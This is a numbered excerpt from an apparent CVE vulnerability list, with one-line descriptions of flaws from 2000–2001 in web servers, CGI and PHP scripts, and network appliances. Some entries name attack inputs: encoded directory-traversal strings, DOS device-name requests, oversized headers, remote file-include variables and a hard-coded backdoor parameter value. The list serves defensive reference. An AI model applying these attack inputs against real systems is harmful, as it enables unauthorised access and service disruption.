21096| [CVE-2001-1532] WebX stores authentication information in the HTTP_REFERER variable, which is included in URL links within bulletin board messages posted by users, which could allow remote attackers to hijack user sessions.
21097| [CVE-2001-1496] Off-by-one buffer overflow in Basic Authentication in Acme Labs thttpd 1.95 through 2.20 allows remote attackers to cause a denial of service and possibly execute arbitrary code.
21098| [CVE-2001-1465] SurfControl SuperScout only filters packets containing both an HTTP GET request and a Host header, which allows local users to bypass filtering by fragmenting packets so that no packet contains both data elements.
21099| [CVE-2001-1457] Buffer overflow in CrazyWWWBoard 2000p4 and 2000LEp5 allows remote attackers to execute arbitrary code via a long HTTP_USER_AGENT CGI environment variable.
21100| [CVE-2001-1370] prepend.php3 in PHPLib before 7.2d, when register_globals is enabled for PHP, allows remote attackers to execute arbitrary scripts via an HTTP request that modifies $_PHPLIB[libdir] to point to malicious code on another server, as seen in Horde 1.2.5 and earlier, IMP before 2.2.6, and other packages that use PHPLib.
21101| [CVE-2001-1342] Apache before 1.3.20 on Windows and OS/2 systems allows remote attackers to cause a denial of service (GPF) via an HTTP request for a URI that contains a large number of / (slash) or other characters, which causes certain functions to dereference a null pointer.
21102| [CVE-2001-1337] Beck IPC GmbH IPC@CHIP Embedded-Webserver allows remote attackers to cause a denial of service via a long HTTP request.
21103| [CVE-2001-1304] Buffer overflow in SHOUTcast Server 1.8.2 allows remote attackers to cause a denial of service (crash) via several HTTP requests with a long (1) user-agent or (2) host HTTP header.
21104| [CVE-2001-1299] Zorbat Zorbstats PHP script before 0.9 allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21105| [CVE-2001-1298] Webodex PHP script 1.0 and earlier allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21106| [CVE-2001-1296] More.groupware PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21107| [CVE-2001-1293] Buffer overflow in web server of 3com HomeConnect Cable Modem External with USB (#3CR29223) allows remote attackers to cause a denial of service (crash) via a long HTTP request.
21108| [CVE-2001-1287] Buffer overflow in Web Calendar in Ipswitch IMail 7.04 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
21109| [CVE-2001-1266] Directory traversal vulnerability in Doug Neal's HTTPD Daemon (DNHTTPD) before 0.4.1 allows remote attackers to view arbitrary files via a .. (dot dot) attack using the dot hex code '%2E'.
21110| [CVE-2001-1251] SmallHTTP 1.204 through 3.00 beta 8 allows remote attackers to cause a denial of service via multiple long URL requests.
21111| [CVE-2001-1245] Opera 5.0 for Linux does not properly handle malformed HTTP headers, which allows remote attackers to cause a denial of service, possibly with a header whose value is the same as a MIME header name.
21112| [CVE-2001-1237] Phormation PHP script 0.9.1 and earlier allows remote attackers to execute arbitrary code by including files from remote web sites, using an HTTP request that modifies the phormationdir variable.
21113| [CVE-2001-1236] myphpPagetool PHP script 0.4.3-1 and earlier allows remote attackers to execute arbitrary code by including files from remote web sites, using an HTTP request that modifies the includedir variable.
21114| [CVE-2001-1235] pSlash PHP script 0.7 and earlier allows remote attackers to execute arbitrary code by including files from remote web sites, using an HTTP request that modifies the includedir variable.
21115| [CVE-2001-1234] Bharat Mediratta Gallery PHP script before 1.2.1 allows remote attackers to execute arbitrary code by including files from remote web sites via an HTTP request that modifies the includedir variable.
21116| [CVE-2001-1232] GroupWise WebAccess 5.5 with directory indexing enabled allows a remote attacker to view arbitrary directory contents via an HTTP request with a lowercase "get".
21117| [CVE-2001-1222] Plesk Server Administrator (PSA) 1.0 allows remote attackers to obtain PHP source code via an HTTP request containing the target's IP address and a valid account name for the domain.
21118| [CVE-2001-1186] Microsoft IIS 5.0 allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents IIS from timing out the connection.
21119| [CVE-2001-1172] OmniSecure HTTProtect 1.1.1 allows a superuser without omnish privileges to modify a protected file by creating a symbolic link to that file.
21120| [CVE-2001-1144] Directory traversal vulnerability in McAfee ASaP VirusScan agent 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP request.
21121| [CVE-2001-1130] Sdbsearch.cgi in SuSE Linux 6.0-7.2 could allow remote attackers to execute arbitrary commands by uploading a keylist.txt file that contains filenames with shell metacharacters, then causing the file to be searched using a .. in the HTTP referer (from the HTTP_REFERER variable) to point to the directory that contains the keylist.txt file.
21122| [CVE-2001-1090] nss_postgresql 0.6.1 and before allows a remote attacker to execute arbitrary SQL queries by inserting SQL code into an HTTP request.
21123| [CVE-2001-1089] libnss-pgsql in nss-pgsql 0.9.0 and earlier allows remote attackers to execute arbitrary SQL queries by inserting SQL code into an HTTP request.
21124| [CVE-2001-1087] The default configuration of the config.http.tunnel.allow_ports option on NetCache devices is set to +all, which allows remote attackers to connect to arbitrary ports on remote systems behind the device.
21125| [CVE-2001-1083] Icecast 1.3.7, and other versions before 1.3.11 with HTTP server file streaming support enabled allows remote attackers to cause a denial of service (crash) via a URL that ends in . (dot), / (forward slash), or \ (backward slash).
21126| [CVE-2001-1074] Webmin 0.84 and earlier does not properly clear the HTTP_AUTHORIZATION environment variable when the web server is restarted, which makes authentication information available to all CGI programs and allows local users to gain privileges.
21127| [CVE-2001-1067] Buffer overflow in AOLserver 3.0 allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via an HTTP request with a long Authorization header.
21128| [CVE-2001-1064] Cisco 600 series routers running CBOS 2.0.1 through 2.4.2ap allows remote attackers to cause a denial of service via multiple connections to the router on the (1) HTTP or (2) telnet service, which causes the router to become unresponsive and stop forwarding packets.
21129| [CVE-2001-1054] PHPAdsNew PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21130| [CVE-2001-1052] Empris PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21131| [CVE-2001-1051] Dark Hart Portal (darkportal) PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21132| [CVE-2001-1050] CCCSoftware CCC PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21133| [CVE-2001-1049] Phorecast PHP script before 0.40 allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21134| [CVE-2001-1048] AWOL PHP script allows remote attackers to include arbitrary files from remote web sites via an HTTP request that sets the includedir variable.
21135| [CVE-2001-0995] PHProjekt before 2.4a allows remote attackers to perform actions as other PHProjekt users by modifying the ID number in an HTTP request to PHProjekt CGI programs.
21136| [CVE-2001-0971] Directory traversal vulnerability in ACI 4d webserver allows remote attackers to read arbitrary files via a .. (dot dot) or drive letter (e.g., C:) in an HTTP request.
21137| [CVE-2001-0926] SSIFilter in Allaire JRun 3.1, 3.0 and 2.3.3 allows remote attackers to obtain source code for Java server pages (.jsp) and other files in the web root via an HTTP request for a non-existent SSI page, in which the request's body has an #include statement.
21138| [CVE-2001-0925] The default installation of Apache before 1.3.19 allows remote attackers to list directories instead of the multiview index.html file via an HTTP request for a path that contains many / (slash) characters, which causes the path to be mishandled by (1) mod_negotiation, (2) mod_dir, or (3) mod_autoindex.
21139| [CVE-2001-0904] Internet Explorer 5.5 and 6 with the Q312461 (MS01-055) patch modifies the HTTP_USER_AGENT (UserAgent) information that indicates that the patch has been installed, which could allow remote malicious web sites to more easily identify and exploit vulnerable clients.
21140| [CVE-2001-0902] Microsoft IIS 5.0 allows remote attackers to spoof web log entries via an HTTP request that includes hex-encoded newline or form-feed characters.
21141| [CVE-2001-0893] Acme mini_httpd before 1.16 allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
21142| [CVE-2001-0892] Acme Thttpd Secure Webserver before 2.22, with the chroot option enabled, allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.
21143| [CVE-2001-0871] Directory traversal vulnerability in HTTP server for Alchemy Eye and Alchemy Network Monitor allows remote attackers to execute arbitrary commands via an HTTP request containing (1) a .. in versions 2.0 through 2.6.18, or (2) a DOS device name followed by a .. in versions 2.6.19 through 3.0.10.
21144| [CVE-2001-0870] HTTP server in Alchemy Eye and Alchemy Network Monitor 1.9x through 2.6.18 is enabled without authentication by default, which allows remote attackers to obtain network monitoring logs with potentially sensitive information by directly requesting the eye.ini file.
21145| [CVE-2001-0868] Red Hat Stronghold 2.3 to 3.0 allows remote attackers to retrieve system information via an HTTP GET request to (1) stronghold-info or (2) stronghold-status.
21146| [CVE-2001-0852] TUX HTTP server 2.1.0-2 in Red Hat Linux allows remote attackers to cause a denial of service via a long Host: header.
21147| [CVE-2001-0836] Buffer overflow in Oracle9iAS Web Cache 2.0.0.1 allows remote attackers to execute arbitrary code via a long HTTP GET request.
21148| [CVE-2001-0835] Cross-site scripting vulnerability in Webalizer 2.01-06, and possibly other versions, allows remote attackers to inject arbitrary HTML tags by specifying them in (1) search keywords embedded in HTTP referrer information, or (2) host names that are retrieved via a reverse DNS lookup.
21149| [CVE-2001-0821] The default configuration of DCShop 1.002 beta places sensitive files in the cgi-bin directory, which could allow remote attackers to read sensitive data via an HTTP GET request for (1) orders.txt or (2) auth_user_file.txt.
21150| [CVE-2001-0820] Buffer overflows in GazTek ghttpd 1.4 allows a remote attacker to execute arbitrary code via long arguments that are passed to (1) the Log function in util.c, or (2) serveconnection in protocol.c.
21151| [CVE-2001-0815] Buffer overflow in PerlIS.dll in Activestate ActivePerl 5.6.1.629 and earlier allows remote attackers to exute arbitrary code via an HTTP request for a long filename that ends in a .pl extension.
21152| [CVE-2001-0778] OmniHTTPd 2.0.8 and earlier allow remote attackers to obtain source code via a GET request with the URL-encoded symbol for a space (%20).
21153| [CVE-2001-0777] Omnicron OmniHTTPd 2.0.8 allows remote attackers to cause a denial of service (memory exhaustion) via a series of requests for PHP scripts.
21154| [CVE-2001-0761] Buffer overflow in HttpSave.dll in Trend Micro InterScan WebManager 1.2 allows remote attackers to execute arbitrary code via a long value to a certain parameter.
21155| [CVE-2001-0747] Buffer overflow in iPlanet Web Server (iWS) Enterprise Edition 4.1, service packs 3 through 7, allows remote attackers to cause a denial of sevice and possibly execute arbitrary code via a long method name in an HTTP request.
21156| [CVE-2001-0730] split-logfile in Apache 1.3.20 allows remote attackers to overwrite arbitrary files that end in the .log extension via an HTTP request with a / (slash) in the Host: header.
21157| [CVE-2001-0693] WebTrends HTTP Server 3.1c and 3.5 allows a remote attacker to view script source code via a filename followed by an encoded space (%20).
21158| [CVE-2001-0674] Directory traversal vulnerability in RobTex Viking Web server before 1.07-381 allows remote attackers to read arbitrary files via a hexadecimal encoded dot-dot attack (eg. http://www.server.com/%2e%2e/%2e%2e) in an HTTP URL request.
21159| [CVE-2001-0669] Various Intrusion Detection Systems (IDS) including (1) Cisco Secure Intrusion Detection System, (2) Cisco Catalyst 6000 Intrusion Detection System Module, (3) Dragon Sensor 4.x, (4) Snort before 1.8.1, (5) ISS RealSecure Network Sensor 5.x and 6.x before XPU 3.2, and (6) ISS RealSecure Server Sensor 5.5 and 6.0 for Windows, allow remote attackers to evade detection of HTTP attacks via non-standard "%u" Unicode encoding of ASCII characters in the requested URL.
21160| [CVE-2001-0665] Internet Explorer 6 and earlier allows remote attackers to cause certain HTTP requests to be automatically executed and appear to come from the user, which could allow attackers to gain privileges or execute operations within web-based services, aka the "HTTP Request Encoding vulnerability."
21161| [CVE-2001-0649] Personal Web Sharing 1.5.5 allows a remote attacker to cause a denial of service via a long HTTP request.
21162| [CVE-2001-0647] Orange Web Server 2.1, based on GoAhead, allows a remote attacker to perform a denial of service via an HTTP GET request that does not include the HTTP version.
21163| [CVE-2001-0636] Buffer overflows in Raytheon SilentRunner allow remote attackers to (1) cause a denial of service in the collector (cle.exe) component of SilentRunner 2.0 via traffic containing long passwords, or (2) execute arbitrary commands via long HTTP queries in the Knowledge Browser component in SilentRunner 2.0 and 2.0.1. NOTE: It is highly likely that this candidate will be split into multiple candidates.
21164| [CVE-2001-0616] Faust Informatics Freestyle Chat server prior to 4.1 SR3 allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name (e.g., GET /aux HTTP/1.0).
21165| [CVE-2001-0613] Omnicron Technologies OmniHTTPD Professional 2.08 and earlier allows a remote attacker to create a denial of service via a long POST URL request.
21166| [CVE-2001-0606] Vulnerability in iPlanet Web Server 4.X in HP-UX 11.04 (VVOS) with VirtualVault A.04.00 allows a remote attacker to create a denial of service via the HTTPS service.
21167| [CVE-2001-0601] Lotus Domino R5 prior to 5.0.7 allows a remote attacker to create a denial of service via HTTP requests containing certain combinations of UNICODE characters.
21168| [CVE-2001-0600] Lotus Domino R5 prior to 5.0.7 allows a remote attacker to create a denial of service via repeated URL requests with the same HTTP headers, such as (1) Accept, (2) Accept-Charset, (3) Accept-Encoding, (4) Accept-Language, and (5) Content-Type.
21169| [CVE-2001-0590] Apache Software Foundation Tomcat Servlet prior to 3.2.2 allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification (i.e. HTTP/1.0).
21170| [CVE-2001-0558] T. Hauck Jana Webserver 2.01 beta 1 and earlier allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name (i.e. GET /aux HTTP/1.0).
21171| [CVE-2001-0537] HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.
21172| [CVE-2001-0535] Example applications (Exampleapps) in ColdFusion Server 4.x do not properly restrict prevent access from outside the local host's domain, which allows remote attackers to conduct upload, read, or execute files by spoofing the "HTTP Host" (CGI.Host) variable in (1) the "Web Publish" example script, and (2) the "Email" example script.
21173| [CVE-2001-0524] eEye SecureIIS versions 1.0.3 and earlier does not perform length checking on individual HTTP headers, which allows a remote attacker to send arbitrary length strings to IIS, contrary to an advertised feature of SecureIIS versions 1.0.3 and earlier.
21174| [CVE-2001-0493] Small HTTP server 2.03 allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name such as aux.
21175| [CVE-2001-0483] Configuration error in Axent Raptor Firewall 6.5 allows remote attackers to use the firewall as a proxy to access internal web resources when the http.noproxy Rule is not set.
21176| [CVE-2001-0476] Multiple buffer overflows in s.cgi program in Aspseek search engine 1.03 and earlier allow remote attackers to execute arbitrary commands via (1) a long HTTP query string, or (2) a long tmpl parameter.
21177| [CVE-2001-0472] Hursley Software Laboratories Consumer Transaction Framework (HSLCTF) HTTP object allows remote attackers to cause a denial of service (crash) via an extremely long HTTP request.
21178| [CVE-2001-0467] Directory traversal vulnerability in RobTex Viking Web server before 1.07-381 allows remote attackers to read arbitrary files via a \... (modified dot dot) in an HTTP URL request.
21179| [CVE-2001-0460] Websweeper 4.0 does not limit the length of certain HTTP headers, which allows remote attackers to cause a denial of service (memory exhaustion) via an extremely large HTTP Referrer: header.
21180| [CVE-2001-0454] Directory traversal vulnerability in SlimServe HTTPd 1.1a allows remote attackers to read arbitrary files via a ... (modified dot dot) in the HTTP request.
21181| [CVE-2001-0453] Directory traversal vulnerability in BRS WebWeaver HTTP server allows remote attackers to read arbitrary files via a .. (dot dot) attack in the (1) syshelp, (2) sysimages, or (3) scripts directories.
21182| [CVE-2001-0448] Web configuration server in 602Pro LAN SUITE allows remote attackers to cause a denial of service via an HTTP GET HTTP request to the aux directory, and possibly other directories with legacy DOS device names.
21183| [CVE-2001-0447] Web configuration server in 602Pro LAN SUITE allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP request containing "%2e" (dot dot) characters.
21184| [CVE-2001-0433] Buffer overflow in Savant 3.0 web server allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long Host HTTP header.
21185| [CVE-2001-0425] AdLibrary.pm in AdCycle 0.78b allows remote attackers to gain privileges to AdCycle via a malformed Agent: header in the HTTP request, which is inserted into a resulting SQL query that is used to verify login information.
21186| [CVE-2001-0419] Buffer overflow in shared library ndwfn4.so for iPlanet Web Server (iWS) 4.1, when used as a web listener for Oracle application server 4.0.8.2, allows remote attackers to execute arbitrary commands via a long HTTP request that is passed to the application server, such as /jsp/.
21187| [CVE-2001-0404] Directory traversal vulnerability in JavaServer Web Dev Kit (JSWDK) 1.0.1 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request to the WEB-INF directory.
21188| [CVE-2001-0399] Caucho Resin 1.3b1 and earlier allows remote attackers to read source code for Javabean files by inserting a .jsp before the WEB-INF specifier in an HTTP request.
21189| [CVE-2001-0394] Remote manager service in Website Pro 3.0.37 allows remote attackers to cause a denial of service via a series of malformed HTTP requests to the /dyn directory.
21190| [CVE-2001-0391] Xitami 2.5d4 and earlier allows remote attackers to crash the server via an HTTP request to the /aux directory.
21191| [CVE-2001-0386] AnalogX SimpleServer:WWW 1.08 allows remote attackers to cause a denial of service via an HTTP request to the /aux directory.
21192| [CVE-2001-0385] GoAhead webserver 2.1 allows remote attackers to cause a denial of service via an HTTP request to the /aux directory.
21193| [CVE-2001-0374] The HTTP server in Compaq web-enabled management software for (1) Foundation Agents, (2) Survey, (3) Power Manager, (4) Availability Agents, (5) Intelligent Cluster Administrator, and (6) Insight Manager can be used as a generic proxy server, which allows remote attackers to bypass access restrictions via the management port, 2301.
21194| [CVE-2001-0367] Mirabilis ICQ WebFront Plug-in ICQ2000b Build 3278 allows a remote attacker to create a denial of service via HTTP URL requests containing a large number of % characters.
21195| [CVE-2001-0330] Bugzilla 2.10 allows remote attackers to access sensitive information, including the database username and password, via an HTTP request for the globals.pl file, which is normally returned by the web server without being executed.
21196| [CVE-2001-0327] iPlanet Web Server Enterprise Edition 4.1 and earlier allows remote attackers to retrieve sensitive data from memory allocation pools, or cause a denial of service, via a URL-encoded Host: header in the HTTP request, which reveals memory in the Location: header that is returned by the server.
21197| [CVE-2001-0312] IBM WebSphere plugin for Netscape Enterprise server allows remote attackers to read source code for JSP files via an HTTP request that contains a host header that references a host that is not in WebSphere's host aliases list, which will bypass WebSphere processing.
21198| [CVE-2001-0308] UploadServlet in Bajie HTTP JServer 0.78, and possibly other versions before 0.80, allows remote attackers to execute arbitrary commands by calling the servlet to upload a program, then using a ... (modified ..) to access the file that was created for the program.
21199| [CVE-2001-0307] Bajie HTTP JServer 0.78, and other versions before 0.80, allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTP request for a CGI program that does not exist.
21200| [CVE-2001-0306] Directory traversal vulnerability in ITAfrica WEBactive HTTP Server 1.00 allows remote attackers to read arbitrary files via a .. (dot dot) in a URL.
21201| [CVE-2001-0298] Buffer overflow in WebReflex 1.55 HTTPd allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP GET request.
21202| [CVE-2001-0297] Directory traversal vulnerability in Simple Server HTTPd 1.0 (originally Free Java Server) allows remote attackers to read arbitrary files via a .. (dot dot) in the URL.
21203| [CVE-2001-0291] Buffer overflow in post-query sample CGI program allows remote attackers to execute arbitrary commands via an HTTP POST request that contains at least 10001 parameters.
21204| [CVE-2001-0286] Directory traversal vulnerability in A1 HTTP server 1.0a allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request.
21205| [CVE-2001-0285] Buffer overflow in A1 HTTP server 1.0a allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
21206| [CVE-2001-0282] SEDUM 2.1 HTTP server allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
21207| [CVE-2001-0277] Buffer overflow in ext.dll in BadBlue 1.02.07 Personal Edition allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP GET request.
21208| [CVE-2001-0275] Moby Netsuite Web Server 1.02 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP request.
21209| [CVE-2001-0257] Buffer overflow in Easycom/Safecom Print Server Web service, version 404.590 and earlier, allows remote attackers to execute arbitrary commands via (1) a long URL or (2) a long HTTP header field such as "Host:".
21210| [CVE-2001-0252] iPlanet (formerly Netscape) Enterprise Server 4.1 allows remote attackers to cause a denial of service via a long HTTP GET request that contains many "/../" (dot dot) sequences.
21211| [CVE-2001-0228] Directory traversal vulnerability in GoAhead web server 2.1 and earlier allows remote attackers to read arbitrary files via a .. attack in an HTTP GET request.
21212| [CVE-2001-0227] Buffer overflow in BiblioWeb web server 2.0 allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP GET request.
21213| [CVE-2001-0226] Directory traversal vulnerability in BiblioWeb web server 2.0 allows remote attackers tor ead arbitrary files via a .. (dot dot) or ... attack in an HTTP GET request.
21214| [CVE-2001-0223] Buffer overflow in wwwwais allows remote attackers to execute arbitrary commands via a long QUERY_STRING (HTTP GET request).
21215| [CVE-2001-0206] Directory traversal vulnerability in Soft Lite ServerWorx 3.00 allows remote attackers to read arbitrary files by inserting a .. (dot dot) or ... into the requested pathname of an HTTP GET request.
21216| [CVE-2001-0202] Picserver web server allows remote attackers to read arbitrary files via a .. (dot dot) attack in an HTTP GET request.
21217| [CVE-2001-0200] HSWeb 2.0 HTTP server allows remote attackers to obtain the physical path of the server via a request to the /cgi/ directory, which will list the path if directory browsing is enabled.
21218| [CVE-2001-0199] Directory traversal vulnerability in SEDUM HTTP Server 2.0 allows remote attackers to read arbitrary files via a .. (dot dot) attack in the HTTP GET request.
21219| [CVE-2001-0194] Buffer overflow in httpGets function in CUPS 1.1.5 allows remote attackers to execute arbitrary commands via a long input line.
21220| [CVE-2001-0189] Directory traversal vulnerability in LocalWEB2000 HTTP server allows remote attackers to read arbitrary commands via a .. (dot dot) attack in an HTTP GET request.
21221| [CVE-2001-0171] Buffer overflow in SlimServe HTTPd 1.0 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long GET request.
21222| [CVE-2001-0168] Buffer overflow in AT&T WinVNC (Virtual Network Computing) server 3.3.3r7 and earlier allows remote attackers to execute arbitrary commands via a long HTTP GET request when the DebugLevel registry key is greater than 0.
21223| [CVE-2001-0133] The web administration interface for Interscan VirusWall 3.6.x and earlier does not use encryption, which could allow remote attackers to obtain the administrator password to sniff the administrator password via the setpasswd.cgi program or other HTTP GET requests that contain base64 encoded usernames and passwords.
21224| [CVE-2001-0129] Buffer overflow in Tinyproxy HTTP proxy 1.3.3 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long connect request.
21225| [CVE-2001-0114] statsconfig.pl in OmniHTTPd 2.07 allows remote attackers to overwrite arbitrary files via the cgidir parameter.
21226| [CVE-2001-0113] statsconfig.pl in OmniHTTPd 2.07 allows remote attackers to execute arbitrary commands via the mostbrowsers parameter, whose value is used as part of a generated Perl script.
21227| [CVE-2001-0108] PHP Apache module 4.0.4 and earlier allows remote attackers to bypass .htaccess access restrictions via a malformed HTTP request on an unrestricted page that causes PHP to use those access controls on the next page that is requested.
21228| [CVE-2000-1242] The HTTP service in American Power Conversion (APC) PowerChute uses a default username and password, which allows remote attackers to gain system access.
21229| [CVE-2000-1239] The HTTP interface of Tivoli Lightweight Client Framework (LCF) in IBM Tivoli Management Framework 3.7.1 sets http_disable to zero at install time, which allows remote authenticated users to bypass file permissions on Tivoli Endpoint Configuration data files via an unspecified manipulation of log files.
21230| [CVE-2000-1235] The default configurations of (1) the port listener and (2) modplsql in Oracle Internet Application Server (IAS) 3.0.7 and earlier allow remote attackers to view privileged database information via HTTP requests for Database Access Descriptor (DAD) files.
21231| [CVE-2000-1230] Backdoor in auth.php3 in Phorum 3.0.7 allows remote attackers to access restricted web pages via an HTTP request with the PHP_AUTH_USER parameter set to "boogieman".
21232| [CVE-2000-1228] Phorum 3.0.7 allows remote attackers to change the administrator password without authentication via an HTTP request for admin.php3 that sets step, option, confirm and newPssword variables.
21233| [CVE-2000-1224] Caucho Technology Resin 1.2 and possibly earlier allows remote attackers to view JSP source via an HTTP request to a .jsp file with certain characters appended to the file name, such as (1) "..", (2) "%2e..", (3) "%81", (4) "%82", and others.
21234| [CVE-2000-1223] quikstore.cgi in Quikstore Shopping Cart allows remote attackers to execute arbitrary commands via shell metacharacters in the URL portion of an HTTP GET request.
21235| [CVE-2000-1215] The default configuration of Lotus Domino server 5.0.8 includes system information (version, operating system, and build date) in the HTTP headers of replies, which allows remote attackers to obtain sensitive information.
21236| [CVE-2000-1206] Vulnerability in Apache httpd before 1.3.11, when configured for mass virtual hosting using mod_rewrite, or mod_vhost_alias in Apache 1.3.9, allows remote attackers to retrieve arbitrary files.
21237| [CVE-2000-1170] Buffer overflow in Netsnap webcam HTTP server before 1.2.9 allows remote attackers to execute arbitrary commands via a long GET request.
21238| [CVE-2000-1168] IBM HTTP Server 1.3.6 (based on Apache) allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long GET request.
21239| [CVE-2000-1155] RHDaemon in RobinHood 1.1 web server in BeOS r5 pro and earlier allows remote attackers to cause a denial of service via long HTTP request.
21240| [CVE-2000-1154] RHConsole in RobinHood 1.1 web server in BeOS r5 pro and earlier allows remote attackers to cause a denial of service via long HTTP request.
21241| [CVE-2000-1118] 24Link 1.06 web server allows remote attackers to bypass access restrictions by prepending strings such as "/+/" or "/." to the HTTP GET request.
21242| [CVE-2000-1114] Unify ServletExec AS v3.0C allows remote attackers to read source code for JSP pages via an HTTP request that ends with characters such as ".", or "+", or "%20".
21243| [CVE-2000-1100] The default configuration for PostACI webmail system installs the /includes/global.inc configuration file within the web root, which allows remote attackers to read sensitive information such as database usernames and passwords via a direct HTTP GET request.
21244| [CVE-2000-1078] ICQ Web Front HTTPd allows remote attackers to cause a denial of service by requesting a URL that contains a "?" character.
21245| [CVE-2000-1073] csstart program in iCal 2.1 Patch 2 searches for the cshttpd program in the current working directory, which allows local users to gain root privileges by creating a Trojan Horse cshttpd program in a directory and calling csstart from that directory.
21246| [CVE-2000-1050] Allaire JRun 3.0 http servlet server allows remote attackers to directly access the WEB-INF directory via a URL request that contains an extra "/" in the beginning of the request (aka the "extra leading slash").
21247| [CVE-2000-1049] Allaire JRun 3.0 http servlet server allows remote attackers to cause a denial of service via a URL that contains a long string of "." characters.
21248| [CVE-2000-1048] Directory traversal vulnerability in the logfile service of Wingate 4.1 Beta A and earlier allows remote attackers to read arbitrary files via a .. (dot dot) attack via an HTTP GET request that uses encoded characters in the URL.
21249| [CVE-2000-1016] The default configuration of Apache (httpd.conf) on SuSE 6.4 includes an alias for the /usr/doc directory, which allows remote attackers to read package documentation and obtain system configuration information via an HTTP request for the /doc/packages URL.
21250| [CVE-2000-1014] Format string vulnerability in the search97.cgi CGI script in SCO help http server for Unixware 7 allows remote attackers to execute arbitrary commands via format characters in the queryText parameter.
21251| [CVE-2000-0984] The HTTP server in Cisco IOS 12.0 through 12.1 allows local users to cause a denial of service (crash and reload) via a URL containing a "?/" string.
21252| [CVE-2000-0939] Samba Web Administration Tool (SWAT) in Samba 2.0.7 allows remote attackers to cause a denial of service by repeatedly submitting a nonstandard URL in the GET HTTP request and forcing it to restart.
21253| [CVE-2000-0920] Directory traversal vulnerability in BOA web server 0.94.8.2 and earlier allows remote attackers to read arbitrary files via a modified .. (dot dot) attack in the GET HTTP request that uses a "%2E" instead of a "."
21254| [CVE-2000-0908] BrowseGate 2.80 allows remote attackers to cause a denial of service and possibly execute arbitrary commands via long Authorization or Referer MIME headers in the HTTP request.
21255| [CVE-2000-0900] Directory traversal vulnerability in ssi CGI program in thttpd 2.19 and earlier allows remote attackers to read arbitrary files via a "%2e%2e" string, a variation of the .. (dot dot) attack.
21256| [CVE-2000-0899] Small HTTP Server 2.01 allows remote attackers to cause a denial of service by connecting to the server and sending out multiple GET, HEAD, or POST requests and closing the connection before the server responds to the requests.
21257| [CVE-2000-0898] Small HTTP Server 2.01 does not properly process Server Side Includes (SSI) tags that contain null values, which allows local users, and possibly remote attackers, to cause the server to crash by inserting the SSI into an HTML file.
21258| [CVE-2000-0897] Small HTTP Server 2.03 and earlier allows remote attackers to cause a denial of service by repeatedly requesting a URL that references a directory that does not contain an index.html file, which consumes memory that is not released after the request is completed.
21259| [CVE-2000-0895] Buffer overflow in HTTP server on the WatchGuard SOHO firewall allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long GET request.
21260| [CVE-2000-0894] HTTP server on the WatchGuard SOHO firewall does not properly restrict access to administrative functions such as password resets or rebooting, which allows attackers to cause a denial of service or conduct unauthorized activities.
21261| [CVE-2000-0869] The default configuration of Apache 1.3.12 in SuSE Linux 6.4 enables WebDAV, which allows remote attackers to list arbitrary diretories via the PROPFIND HTTP request method.
21262| [CVE-2000-0859] The web configuration server for NTMail V5 and V6 allows remote attackers to cause a denial of service via a series of partial HTTP requests.
21263| [CVE-2000-0842] The search97cgi/vtopic" in the UnixWare 7 scohelphttp webserver allows remote attackers to read arbitrary files via a .. (dot dot) attack.
21264| [CVE-2000-0838] Fastream FUR HTTP server 1.0b allows remote attackers to cause a denial of service via a long GET request.
21265| [CVE-2000-0817] Buffer overflow in the HTTP protocol parser for Microsoft Network Monitor (Netmon) allows remote attackers to execute arbitrary commands via malformed data, aka the "Netmon Protocol Parsing" vulnerability.
21266| [CVE-2000-0812] The administration module in Sun Java web server allows remote attackers to execute arbitrary commands by uploading Java code to the module and invoke the com.sun.server.http.pagecompile.jsp92.JspServlet by requesting a URL that begins with a /servlet/ tag.
21267| [CVE-2000-0791] Trustix installs the httpsd program for Apache-SSL with world-writeable permissions, which allows local users to replace it with a Trojan horse.
21268| [CVE-2000-0778] IIS 5.0 allows remote attackers to obtain source code for .ASP files and other scripts via an HTTP GET request with a "Translate: f" header, aka the "Specialized Header" vulnerability.
21269| [CVE-2000-0776] Mediahouse Statistics Server 5.02x allows remote attackers to execute arbitrary commands via a long HTTP GET request.
21270| [CVE-2000-0775] Buffer overflow in RobTex Viking server earlier than 1.06-370 allows remote attackers to cause a denial of service or execute arbitrary commands via a long HTTP GET request, or long Unless-Modified-Since, If-Range, or If-Modified-Since headers.
